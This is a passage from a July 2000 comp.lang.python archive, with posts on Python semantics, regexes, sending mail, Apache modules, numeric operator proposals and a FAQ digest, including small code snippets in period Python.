broadcast or error is asked for when matrix (or Nd arrays) are not of
the same shape. In fact, I just verfied, .+ does not exist in
matlab...Personnaly, I vote to a + , - , *, / broadcast always, @, @/,
/@ never (what should be the meaning of bradcasting for these?)

There is only one element division, /, compared to 2 matrix dvisions, @/
and /@. (not sol operator, only a matsol one)
This is imho not an issue, as

A matsol B <> B matdiv A, but should sol exist, A sol B == B div A
(for Matlab users, A\B <> B/A, but A.\B == B./A. . in fact, .\ is almost
never used in Matlab)

My concern with this notation is that

-it is not using @ as a systematic extender of previous notation. We
could use @* instead of @, and @** for @@, but
 it is less aesthetic imho...

- As Tim said, @ is heavy...The first character which I planned to use
was in fact ? (degree, a small circle located at the same height as "),
but it is not in ASCII table and not on US qwerty keyboard (on my azerty
keyboard, it is easier to type than @). Should unicode (or 8 bit Latin-1
character table) be supported, and ? be accessible worldwide, I choose
it anytime over @:

A?B is pretty!

- It eat the @ character, which was not previously used and could be
reserved for new uses...but we are speaking of a new use, aren't we?

Greg.


From dsavitsk at e-coli.net  Sun Jul 30 22:46:48 2000
From: dsavitsk at e-coli.net (d. savitsky)
Date: Mon, 31 Jul 2000 02:46:48 GMT
Subject: Help! example DLL crashes Python on NT
References: <8m2fqq+kecb@eGroups.com>
Message-ID: <sM5h5.91280$dF.3201347@news1.rdc1.il.home.com>

I am not sure if this is what you need, but to connect to dll's (that is, to
call functions in them) I use windll/calldll (in the Dynwin package from Sam
Rushing @ http://www.nightmare.com)
Once it is extracted try something like

>>> from dynwin.windll import *
>>> m = module('mydll32') # note no .dll extension
>>> x = m.SomeFunction()
>>> x
'returned stuff'

I don't know if this is what you are asking, but it is all i know how to do
:)
doug

"Ed Stauff" <Ed_Stauff at avid.com> wrote in message
news:8m2fqq+kecb at eGroups.com...
> When I try to import the example DLL on Windows NT, I get an
> "Application Error" dialog for python.exe (with the usual unreadable
> hex junk), and then python quits after printing "Fatal Python error:
> PyThreadState_Get: no current thread".  I typed "import example"
> right after launching Python.
>
> I've got Python 1.5.2 on Windows NT, and I'm using the python.exe
> that came with it (I didn't rebuild it from sources).  I'm trying to
> get the example DLL from /python/PC/example_nt to work using Visual
> C++ 6.0, and I get this error using the example right out of the box,
> without modification, as described in the readme.
>
> Anybody knows what's going on?
>
> I'm very experienced with Windows, C, C++, and Visual C++, but I'm a
> Python and DLL newbie.  Any help will be greatly appreciated.
>
> Thanks,
>
> -- Ed
>
>
>




From aahz at netcom.com  Tue Jul 18 10:16:16 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 18 Jul 2000 14:16:16 GMT
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com>
Message-ID: <8l1org$a94$1@nntp9.atl.mindspring.net>

In article <MPG.13dd4ec32cbe48e98982a at news.onlynews.com>,
Randall Parker  <rgparker at west.net> wrote:
>
>I'm quite new to Python. For those who are familiar with Java interfaces: 
>Does Python have a similar facility? 
>
>Can one declare interfaces, then declare that a class implements some 
>interface, instantiate an object of that class type, and then cast it to 
>an interface that it is declared to support and then pass it around as a 
>reference to that interface type and make calls to methods of that 
>interface type?

Let me expand on Justin's post:

Interfaces are *everything* in Python; you use inheritance only when you
want to borrow behavior from an existing class.  If I create a base
class called MyFileType and implemented all the standard methods and
attributes, Python would literally not notice that I was using a brand
new class as a file object.  All the standard Python operations would
just work.  No casting, no subclassing.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From ajsiegel at my-deja.com  Tue Jul 25 13:31:27 2000
From: ajsiegel at my-deja.com (ajsiegel at my-deja.com)
Date: Tue, 25 Jul 2000 17:31:27 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <8lhij5$278$1@slb2.atl.mindspring.net> <8lhmgd$p92$1@nnrp1.deja.com> <8lhtht$v1e$1@nnrp1.deja.com> <8lk5t6$jb2$1@nnrp1.deja.com>
Message-ID: <8lkitg$u21$1@nnrp1.deja.com>

In article <8lk5t6$jb2$1 at nnrp1.deja.com>,
  Andy Freeman <anamax at earthlink.net> wrote:

> Here's the conversation.
>  -snip-
> The challenger has to be better on a number of dimensions and can
> only be worse on trivial details - otherwise the incumbent wins.
> ("No one else here knows the language" is a very powerful argument
> in a world where staffing is so difficult.)
>

I'm sure you are describing a reality.

More people will know Python when more people are making a living
at it. So its a bit of a dog chasing its tail.

That Guido and other "founders" (the ActiveState guys) have had to
scramble a bit (it seems) to make a living with Python is on one hand
disconcerting. The fact that they seem to be getting there is hopeful.

But as the world turns, so that when you are VP and insisting on using
Python and there's a new fokochta (pardon my Yiddish)language someone
in your department is crying for  - maybe they'll be right, too (but
don't give in).



Sent via Deja.com http://www.deja.com/
Before you buy.


From MarkH at ActiveState.com  Tue Jul  4 02:05:22 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Tue, 04 Jul 2000 06:05:22 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com> <uhfa7qn9c.fsf@cs.uu.nl> <8jqbru017gf@news2.newsguy.com> <2f985.6708$Tb7.40527@news-server.bigpond.net.au> <39642dc0.16230059@news.btx.dtag.de>
Message-ID: <C8f85.6959$Tb7.42242@news-server.bigpond.net.au>

"Stefan Franke" <spamfranke at bigfoot.de> wrote in message
news:39642dc0.16230059 at news.btx.dtag.de...
> On Mon, 03 Jul 2000 23:22:38 GMT, "Mark Hammond" <MarkH at ActiveState.com>
wrote:

> >A framework for calling arbitary vtable interfaces is also in place.

> I would *really* appreciate such a thing.  Any pointers?

The extension is called "univgw" - for "Universal Gateway".  Greg Stein
started the work, and Bill Tutt has done the most recent round.

The sources, including the MSVC project file can be found under CVS.  The
win32com developers list archives are probably a good source, too:
http://mailman.pythonpros.com/mailman/listinfo/pycom-dev

Further discussion is welcome on that list!

Mark.





From grey at despair.rpglink.com  Sat Jul 29 18:17:10 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:17:10 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com> <m2ittptl11.fsf@mycroft.actrix.gen.nz>
Message-ID: <slrn8o6lr2.f91.grey@teleute.rpglink.com>

On 29 Jul 2000 20:09:46 +1200, Paul Foley <see at below> wrote:
>Not in the world I live in!  If I put a slice of pizza in my coffee cup,
>it doesn't magically turn into coffee...just makes a mess.

    Of course not, pizza is not data.  Data has this lovely property that
pizza doesn't have, it doesn't really exist.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From chibaA at TinterlogD.Tcom  Tue Jul  4 21:53:38 2000
From: chibaA at TinterlogD.Tcom (chibaA at TinterlogD.Tcom)
Date: Wed, 05 Jul 2000 01:53:38 GMT
Subject: regex's
References: <39627fa7.705005544@news1.on.sympatico.ca> <m2g0ppmm9x.fsf@spiff.home.com>
Message-ID: <396294ff.710469961@news1.on.sympatico.ca>

Perfect!

Thanks muchly!

kc


On Wed, 05 Jul 2000 01:47:49 GMT, Tim Hochberg <tim.hochberg at ieee.org>
wrote:

>chibaA at TinterlogD.Tcom writes:
>
>> Hi...  I'm having a bit of a brain-tease...  I have the following code
>> (example):
>> 
>> import re
>> 
>> str = '123'
>> if re.compile('1').match(str):
>> 	print "matched 1"
>> if re.compile('2').match(str):
>> 	print "matched 2"
>> if re.compile('3').match(str):
>> 	print "matched 3"
>> 
>> -------------------
>> 
>> I would think that this code would print 'matched 1 matched 2 matched
>> 3'...  But in this case, it would only printed "matched 1".  Any
>> reasons?  Is there any way to have it print all three (since the
>> conditions seem to be true)?
>
>re.match matches from the beginning of the string (e.g.,
>re.compile('2').match(str) will only match strings starting with
>'2'. What you want is re.search. For example:
>
>#....
>if re.compile('2').search(str):
>	# ...
>
>You could also use:
>
>#....
>if re.search('2', str):
>	# ...
>
>However, the former will be faster if you reuse the regular
>expression since you can compile it once and reuse the compiled
>version.
>
>
>-tim
> 
>> Thanks in advance!
>> 
>> kc.
>



From theebh at yahoo.com  Tue Jul 25 09:55:33 2000
From: theebh at yahoo.com (Jonathan)
Date: Tue, 25 Jul 2000 13:55:33 GMT
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <slrn8nqo34.1ec.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <8lk68h$jnt$1@nnrp1.deja.com>

In article <slrn8nqo34.1ec.scarblac-spamtrap at flits104-37.flits.rug.nl>,
  scarblac-rt at pino.selwerd.nl wrote:
> Python isn't weird - it's much more consistent than you think :-)
>
> Jonathan wrote in comp.lang.python:
> > 1. There are no keywords to declare static or instance variables; it
> > all depends where they are placed(whether it's right after the
<class>
> > statement, or inside a <def>).
>
> This isn't really true. A class variable is declared directly inside
> the class definition, or outside of it if you use the name of the
class
> (to set variable x in class Example, use Example.x = 3).
>
> Instance variables are *always* made by saying which instance it is,
> ie self.x = 3.
>
> Example:
>
> class Example:
>    y = 3 # Directly in the class def, so a class variable
>
>    def __init__(self, x):
>       self.x = x      # Set the instance variable - need to
use "self."
> 	  y = 3           # Just a local variable, neither class nor
instance
>
> 	  Example.y = 4   # Sets the class variable
> 	  self.__class__.y = 4 # Actually works better, because of
inheritance and
> 	                  # some other things. This looks up the
instance's class
> 					  # in the instance, and sets
the class variable.
>    z = 3 # Another class variable, no need to place them right after
the
>          # class statement
>
> So unless it's directly in the class definition, you always need to
say
> explicitly which one you want to set.
>
> > Isn't it harder for other programmers to
> > know at one glance what type of attributes the class define?
>
> As long as you define all of them directly in the class definition
> (and not *only* through a method) you can see it at a glance. And you
> put it in your documentation, of course (doc string).
>
> > 2. No *formal* declaration of static class methods, e.g. no 'static'
> > keyword (though i'm not sure how useful static methods are in OOP
> > design). I read somewhere in this newsgroup that the workaround way
is
> > to define the method outside of the class - doesn't it break
> > the 'encapsulation' a class suppose to have?
>
> Maybe, but as you notice yourself, you don't know how useful these
static
> methods are - if they aren't bound directly to an instance of the
class,
> maybe they shouldn't be in the class in the first place? There are
probably
> counter examples, but I can't think of one right away.
>
> > 3. No keywords to differentiate between passing arguments by
reference
> > or value! An integer is passed by value(reference to a new copy),
while
> > a mutable object is by reference. To pass a list by 'value', i know
you
> > just need to insert one more line(list = [:]), but it seems
> > so 'inconsistent' compared to Java or even PHP.
>
> No no no - *everything* is passed by reference, including that
integer.
> It's just that you can't change integers (they are immutable - why
would
> you want to change the integer 4?), so that if you assign to such a
variable,
> it refers to a new integer (actually, *assignment* is always by
reference
> as well - that's different from other languages).
>
> Try this:
>
> x = 4
>
> def test(y):
>    if x is y:
>       print "x is the same reference as y!"
>    y = 3
>    if not (x is y):
>       print "but now they're a different reference!"
>
> test(x)
>
> ("is" checks for reference identity).
>
Thanks for your posting. i feel much enlightened now:) I guess it's the
fact that arguments(and assignments) are passed by reference in python,
(which is not the default in the languages that i learned so far), and
the 'flexibility' of declaring OOP constructs that cause
the 'discomfort' in me.

Anyway, i just parted with some of my hard-earned money to get a copy
of EPR(Essential Python Ref) thru an online bookstore. Hope it will be
useful!:)

regards,
jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Sat Jul  1 23:19:26 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 2 Jul 2000 03:19:26 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 1st, 2000
Message-ID: <20000702031926.7937.qmail@synop.com>

Greetings All!

Below are the latest entries to be entered into http://python.faqts.com

regards,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
What is bbox? In the context of the PhotoImage put(data, bbox).
http://www.faqts.com/knowledge-base/view.phtml/aid/4133
-------------------------------------------------------------
Fiona Czuczman
Keith Murphy

The bounding box is returned as a 4-tuple defining the left, upper,
right, and lower pixel coordinate.

Here's what I was doing..

self.photo.put(tuple(["#000000"],), tuple([5,5,6,6]))

it draws a single black pixel at (5,5)


-------------------------------------------------------------
How do you print the traceback string from an exception?
http://www.faqts.com/knowledge-base/view.phtml/aid/4134
-------------------------------------------------------------
Fiona Czuczman
J?rgen Hermann

try:
   whatever()
except:
            import traceback, string
            msg = string.join(traceback.format_exception(
                    sys.exc_info()[0], sys.exc_info()[1],
sys.exc_info()[2]), "")
            print msg


-------------------------------------------------------------
How can I concatenate external files (all the little *.htm files in a directory) into one big file?
http://www.faqts.com/knowledge-base/view.phtml/aid/4135
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

import sys, string, glob, os

#First I create a list:
fls = glob.glob('C:\\wxpython\\wxPython-2.1.16\\docs\\wx\\wx*.htm')

#Then I guess I should open an output file for writing
outfile = open('temp.txt,'w')

for x in fls:
               file=open(x,'r')
               data=file.read()
               file.close()
               outfile.write(data)

outfile.close()

We then iterate over fls to give us each file name and open each one.
We then call the read method against it, which loads in the entire file
and assign that to data. we close the file and write the data to our
outfile. And then on to the next file. Finally we close the outfile.

You have to use read() with some caution because it (trys) to load the
whole file into memory which maybe an issue if it was sizable. In your
case it isn't an issue because they are simple html files.


-------------------------------------------------------------
What is lambda?
http://www.faqts.com/knowledge-base/view.phtml/aid/4136
-------------------------------------------------------------
Fiona Czuczman
Warren Postma, david_ullrich

1) Meta-Answer: Read the FAQ and Manual sections.

2) Instant Gratification Answer

Here's a standard function definition:

def func(x):
    return x *2

Here's a way to write the same thing, in effect, but using Lambda:

func = lambda (x): x * 2

While that example isn't useful, it gives you the idea.  Think of lambda 
as a way to generate a function and return that function as an object, 
without having to give it a name. I primarily use it to pass an 
algorithm or expression as a parameter to a function, or other places 
where I want to pass code in a variable instead of passing a reference 
to a method containing that code.

------------

What it does is allow you to construct "anonymous functions".

   Oops, not my own words. The syntax

lambda x: [expression in x]

is itself an expression - the _value_ of the expression "lambda x: 
[expression in x]" is a function which returns [expression in x] when 
passed x. For example "lambda x: x+x" is a function that returns x+x; 
saying

f = lambda x: x+x

has the same effect as saying

def f(x):
  return x + x

But you don't usually use it that way - people use lambda when they want 
to pass a function to some routine without having to make up a name for 
the function. For example map takes a function as a parameter; saying

print map(lambda x: x+x, [1,2,3])

is the same as saying

def f(x):
  return x + x

print map(f, [1,2,3]])

You should note there's varying opinions on whether lambda is a good 
thing - if you're a beginner at programming as well as with Python it's 
not the first thing you should worry about.


## Edited Entries ##############################################


-------------------------------------------------------------
How can I use the smtplib module to send email from Python?
How can I send mail using the os module?
How can I send mail through python?
http://www.faqts.com/knowledge-base/view.phtml/aid/2607
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman, George Jansen
http://www.python.org/doc/FAQ.html#4.71,Justin Sheehy

On Unix, it's very simple, using sendmail. The location of the sendmail
program varies between systems; sometimes it is /usr/lib/sendmail,
sometime /usr/sbin/sendmail. The sendmail manual page will help you out.
Here's some sample code: 

  SENDMAIL = "/usr/sbin/sendmail" # sendmail location
  import os
  p = os.popen("%s -t" % SENDMAIL, "w")
  p.write("To: cary at ratatosk.org\n")
  p.write("Subject: test\n")
  p.write("\n") # blank line separating headers from body
  p.write("Some text\n")
  p.write("some more text\n")
  sts = p.close()
  if sts != 0:
      print "Sendmail exit status", sts

Check out the os module doc for more info:

  http://www.python.org/doc/current/lib/module-os.html


On non-Unix systems (and on Unix systems too, of course!), you can use
SMTP to send mail to a nearby mail server. A library for SMTP
(smtplib.py) is included in Python 1.5.1; in 1.5.2 it will be documented
and extended. Here's a very simple interactive mail sender that uses 
it: 

    import sys, smtplib

    fromaddr = raw_input("From: ")
    toaddrs  = string.splitfields(raw_input("To: "), ',')
    print "Enter message, end with ^D:"
    msg = ''
    while 1:
        line = sys.stdin.readline()
        if not line:
            break
        msg = msg + line

    # The actual mail send
    server = smtplib.SMTP('localhost')
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()

This method will work on any host that supports an SMTP listener;
otherwise, you will have to ask the user for a host.

    http://www.python.org/doc/current/lib/module-smtplib.html

On Windows 9x systems, you may also use the COM interface. We have 
recently used PythonWin to (what else?) spam a number of recipients 
over Novell GroupWise. It took very little time to work this out.






From tttok_2000 at yahoo.com  Tue Jul 11 01:45:22 2000
From: tttok_2000 at yahoo.com (Ahmed Ahmed)
Date: Mon, 10 Jul 2000 22:45:22 -0700 (PDT)
Subject: Compiling Python
Message-ID: <20000711054522.28720.qmail@web3406.mail.yahoo.com>

Look here
http://www.faqts.com/knowledge-base/view.phtml/aid/3111/fid/244/lang/
 
--- "David L. Heald Jr." <blinocac1 at home.com> wrote:
> Yeah, the latter. I like Python, but I'm interested
> in taking my programs
> with me to other computers that don't have python.
> "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in
> message
> news:9m5lms0bt9fhiir6c2vju9ti4hvvv473kb at 4ax.com...
> > On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald
> Jr."
> > <blinocac1 at home.com> declaimed the following in
> comp.lang.python:
> >
> > > Does anyone know if there is a compiler
> available anywhere for python
> for
> > > win32?
> > >
> > Pardon?
> >
> > A compiler with which to build Python from source,
> or
> >
> > A compiler which builds native executables from
> Python programs?
> >
> >
> > For the latter, I don't think one exists on any
> platform --
> > freeze may be the closest equivalent (as I recall,
> not having used it,
> > it embeds Python byte-code into a binary with the
> Python interpreter).
> >
> > For the former... I think folks are working on
> getting the
> > downloadable Borland C to compile it, the M$ VC
> should handle it with no
> > problems, and gcc probably can manage it.
> >
> > --
> >  >
>
==============================================================
> <
> >  >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee
> Bieber  KD6MOG <
> >  >      wulfraed at dm.net     |       Bestiaria
> Support Staff       <
> >  >
>
==============================================================
> <
> >  >        Bestiaria Home Page:
> http://www.beastie.dm.net/         <
> >  >            Home Page:
> http://www.dm.net/~wulfraed/             <
> 
> 
> -- 
> http://www.python.org/mailman/listinfo/python-list


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From nospam at buzzoff.com  Thu Jul 20 07:36:46 2000
From: nospam at buzzoff.com (Moritz Voss)
Date: Thu, 20 Jul 2000 13:36:46 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l52hs$i05$1@kopp.stud.ntnu.no> <FxzACB.KEB@world.std.com>
Message-ID: <8l6o55$7qb$1@fermi.tro.net>

"Will Ware" <wware at world.std.com> schrieb im Newsbeitrag
news:FxzACB.KEB at world.std.com...
> > What exactly *are* these advantages? (Very curious...)
>
> simultaneously, and rapidly switch between them. This could be useful
> in a game if you want to model simultaneous behavior of a large number
> of agents, such as soldiers in an army, ants in an anthill, airplanes

I'd still queue that up! Because I'd have to maintain so much
synchronization (collisions, etc, one object influencing another, accessing
samme resources (be that a tank or something in memory), I'd just quickly
runt through them all in a straightforward way. They have ALL to be done
when the next frame will be drawn, so thread management will only produce
more overhead....right?



> http://world.std.com/~wware/uthread.html
<reading>


That brings up another question - how safe/restrictive is Python?

I want to allow the user to implement own micro AI scripts. These will run
on the serve ronly, though, and I want to prevent
a) the server from crashing due to malicious or buggy python scripts
b) the user from cheating (e.g. having that AI download huge tactical info
over the net, or maybe a mapfile or something that lets it eval its
situation better.)
c) the unit from screwing things up, as intearction with othe runits is
possible, but not ALL units. Other units can communicate with other ones,
respectively.
d) allow each AI script to only have a certian short period ooff processing
time - making long scripts idle the unit longer while they work, while
shiort scripts have far more throughput per runtime unit.


I don't understadn the concept of python thisfar, and I am reconsidering my
own virtual machine concept - yet I think that maybe too much work to
implement in reasonable quality... :-(



--
--
Moritz "Thygrrr" Voss
Client-Server & OpenGL Coder
spirit.link.studios - http://o2.ods.org





From bjorn at roguewave.com  Wed Jul 19 13:08:00 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 19 Jul 2000 11:08:00 -0600
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net>
Message-ID: <3975E070.308511F4@roguewave.com>

Aahz Maruch wrote:
> 
> In article <tOid5.135713$HK2.2425898 at news20.bellglobal.com>,
> Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
> >How about:
> >
> >"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> >"collect", "pick", "lineup"???
> 
> I like "merge".

+1 from me too :-)

-- bjorn



From jclonts at mastnet.net  Wed Jul 12 01:21:58 2000
From: jclonts at mastnet.net (John Clonts)
Date: Wed, 12 Jul 2000 00:21:58 -0500
Subject: finding mount points
References: <slrn8mnrur.sas.ssthapa@ntcs-ip48.uchicago.edu>
Message-ID: <396C0076.4A6547A3@mastnet.net>

Suchandra Thapa wrote:
> 
>     Is there any way to find the mount point of a filesystem given
> the path to a file within the file system?  Using os.path.ismount
> lets you determine if a path is a mount point but is there any function
> that returns something like /mnt/cdrom if you give it a path like
> /mnt/cdrom/foo/bar.txt?
> 
> --
> ------------------------------------------------------------------
> 
> Suchandra S. Thapa
> s-thapa at uchicago.edu
> 
> ------------------------------------------------------------------
Python 1.3 (Sep 10 1996)  [GCC 2.7.2]
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import posixpath
>>> posixpath.ismount("/")
1
>>> posixpath.ismount("/mnt")
0
>>> posixpath.ismount("/mnt/dosd")
1
>>> posixpath.ismount("/home")
1
>>> posixpath.ismount("/home/john")
0
>>> 

Is this what you wanted?

Cheers,
John


From claird at starbase.neosoft.com  Fri Jul 28 12:10:47 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 28 Jul 2000 11:10:47 -0500
Subject: best apache+python module?
References: <so1jnosf3j1154@corp.supernews.com> <20000728113918.B12152@inkontact.com.au> <see-9D8864.22245327072000@news.dnai.com>
Message-ID: <BAB386C88C85D499.83B0AA9A72B409AE.1F51A12A65C69634@lp.airnews.net>

In article <see-9D8864.22245327072000 at news.dnai.com>,
Sam Penrose  <see at message.body> wrote:
			.
			.
			.
>After having a Bad Experience with one of these (memory leak in 
>PyApache), I must ask why they are so popular. My company writes 
>pure-Python sites whose CGIs handle tens of thousands of hits a day on 
>unremarkable Intel hardware running vanilla Linux. Two of our CGIs have 
>started to bog down recently, and in both cases the cause is the same: 
>have to generate HTML pages roughly a meg in size; one containing so 
>many images that the number of Apache processes goes through the roof. 
>In neither case would faster Python performance help.
>
>Linking your interpreter to Apache forces you into dependence on a chunk 
>of code that has orders of magnitude less testing than either Apache or 
>Python does, probably wouldn't remove any bottlenecks if they existed, 
>and may well break the next time either Python or Apache is updated.
>
>Unless, of course, you know differently. But my sense is that most of 
>the people interested in these modules merely know they want their sites 
>to run fast and have read the mod_perl marketing materials.
>
>Anyone who can afford 256 megs of RAM and a SCSI hard drive can serve 
>thousands of people a day with sites that execute thousands of lines of 
>Python, without working particularly hard to optimize their software 
>(CGIs or Python or the OS). And if they find they can't, they should not 
>assume that a persistent Python executable will help without having good 
>reason to do so.
			.
			.
			.
Sooooooooooooooo true.   I hope a lot of people see
your posting.

As it turns out, I do a lot of work with these em-
bedded extensions (mostly in languages other than
Python, but with Python, also).  My primary motiva-
tion is at the software engineering level:  I find
"microscripting" (executable content embedded in
HTML) far, far more pleasant in general to develop
and maintain than CGI.

The big performance gain I most often see from the
mod_*-like embedded extensions has to do with per-
sistent database connections.  Saving the costs of
building up and breaking *those* down can be a big
win.  Language stuff is an incidental.

People have put a lot of energy into making Apache
extensible, shaking down the mod_*()-s, and so on.
I enjoy using them.  I agree, though, that they
need to be watched carefully.  Memory leakiness is
only one of the frailties to which they're prone.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From rumjuggler at cryptarchy.org  Sat Jul 29 00:02:31 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 04:02:31 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com>
Message-ID: <1vl4os8357de0humn8db0v30ejatjgcn48@4ax.com>

On Fri, 28 Jul 2000 23:02:52 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 23:09:56 +0200, Alex Martelli <alex at magenta.com> wrote:
>>I hope you remember that in Python there's no need for the joining
>>and later re-splitting: just putting the pair (tuple) in there is
>>so much easier and more natural.
>
>    No.  I am learning that.  A plesant side effect of this excellent
>discussion.
>
>>Among other things, it makes it easy to save/load/change a format-string;
>
>    Nono, you misunderstand me.  I prefer the Pascal notion of variables in
>place in the string with formatting attached to it instead of placeholder
>formatting strings with the variables hanging off the end of the string.
>Pseudo code from no language, bear with me.
>
>"Here is a string with ",$a:d:0:0," variable in it."
>
>"Here is a string with %d:0:0 variable in it.",$a
>
>    In the former I read and I see, "Oh, $a goes here with this formatting"
>whereas in the latter it is "Oh, here is the formatting for...  uhm.. $a."
>
>    Again, simplistic and not in any language, but taken to the extreme you
>can see the problem.
>
>"%d:0:0 %c:U %s %s %s %s %d %s %s %s \
>%d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k
>
>    What variable goes with what again?

Hmmm... An example of why I think I would prefer format strings over
in-place variables is that format strings seem more powerful to me.

the code below seems like a rather clear and easy way of doing something
which would be more difficult using in-place variables.

return '%r, %s%s ' % (self.name, self.firstline, ', %s'*len(self.entries) \
      % tuple(map(None, namestofields[self.name][FIELDS], self.entries)))

-- 
Barnabas T. Rumjuggler

My pants!  They have come
To rescue me!  No, it is
Only a squirrel.
 -- Not Zelgadis, not on ark



From ejr at lotus.CS.Berkeley.EDU  Sun Jul 23 13:30:37 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 23 Jul 2000 17:30:37 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <397A919F.331C3933@prescod.net>
Message-ID: <8lfa3t$mau$1@agate.berkeley.edu>

And Paul Prescod writes:
 - 
 - Neel, I think you have projected your own wishes onto that of the 
 - matrix people!

Perhaps, but a common complaint I hear about any language is
``the lack of general overloading.''  After translation into 
programming linguistic speak, that translates into multiple
dispatch.  

It's hard to implement methods that work across and between 
members of the number hierarchy without it.  You invariably 
end up with something nasty like the `bridge' pattern or 
explicit type checks (``layered visitors'' or some such name).
At that point, your code becomes less about the numerics and
more about the little nooks and crannies of a given language.
That's bad, imho.

What's worse, some of us want to dispatch on the _returned_
type, too.  Really helps you pick the right precision in which
you calculate intermediate results, but it feels semantically
messy.  Haven't put enough thought into that one yet.  It
could be solvable just with type inferencing within expressions.

But this is comp.lang.python, not comp.lang.dylan.  I still
can't help but feel that Dylan is to Python as Smalltalk is to 
Java.

Jason


From hinsen at cnrs-orleans.fr  Thu Jul 20 05:12:44 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 20 Jul 2000 11:12:44 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr>

Huaiyu Zhu <huaiyu_zhu at yahoo.com> writes:

> Here's a list of issues that come to mind:
> 
> 1. What symbols to use.
> 
>    It seems that we can more or less concentrate on using either . or @
>    together with existing math operators.  Issues:

There might be more options in the not too far future. With the
general move towards Unicode, a Python interpreter that takes Unicode
input files does not seem unreasonable. This would give access to plenty
of new symbols which

1) do not cause any clashes with existing syntax
2) look like symbols used in paper-based math

If I remember correctly, the APL symbol set is somewhere in Unicode.
I agree that this proposal is not a realistic one for the immediate
future, but I still like it ;-)

>    (1) Use . or @

For purely esthetic reasons, I wouldn't want to have @ in operators.
The dot is fine but there are conflicts with floating point constants.

But there are other alternatives. How about operators in parentheses?
a (*) b looks fine to me, and it is currently illegal so it can't cause
compatibility problems. I'd even claim that it somewhat *looks* like
a matrix operation.

One could take this a step further and introduce operator composition,
like in APL. In APL, the inner product (of which the matrix product
and the vector dot product are special cases) is written +.x (with a
special multiplication operator that is not the same as the letter x).
This means elementwise multiplication followed by reduction with plus.
Other binary operators can be substituted, and some such combinations
are quite useful.

So we could introduce "operator expressions" like (+.*) for inner
product, and then leave (*) for the outer product, with * remaining
the elementwise product, as in NumPy. (/) could be matrix "division",
or inversion when used as a unary operator. There should be plenty
of combinations to make everyone happy.

-- 
-------------------------------------------------------------------------------
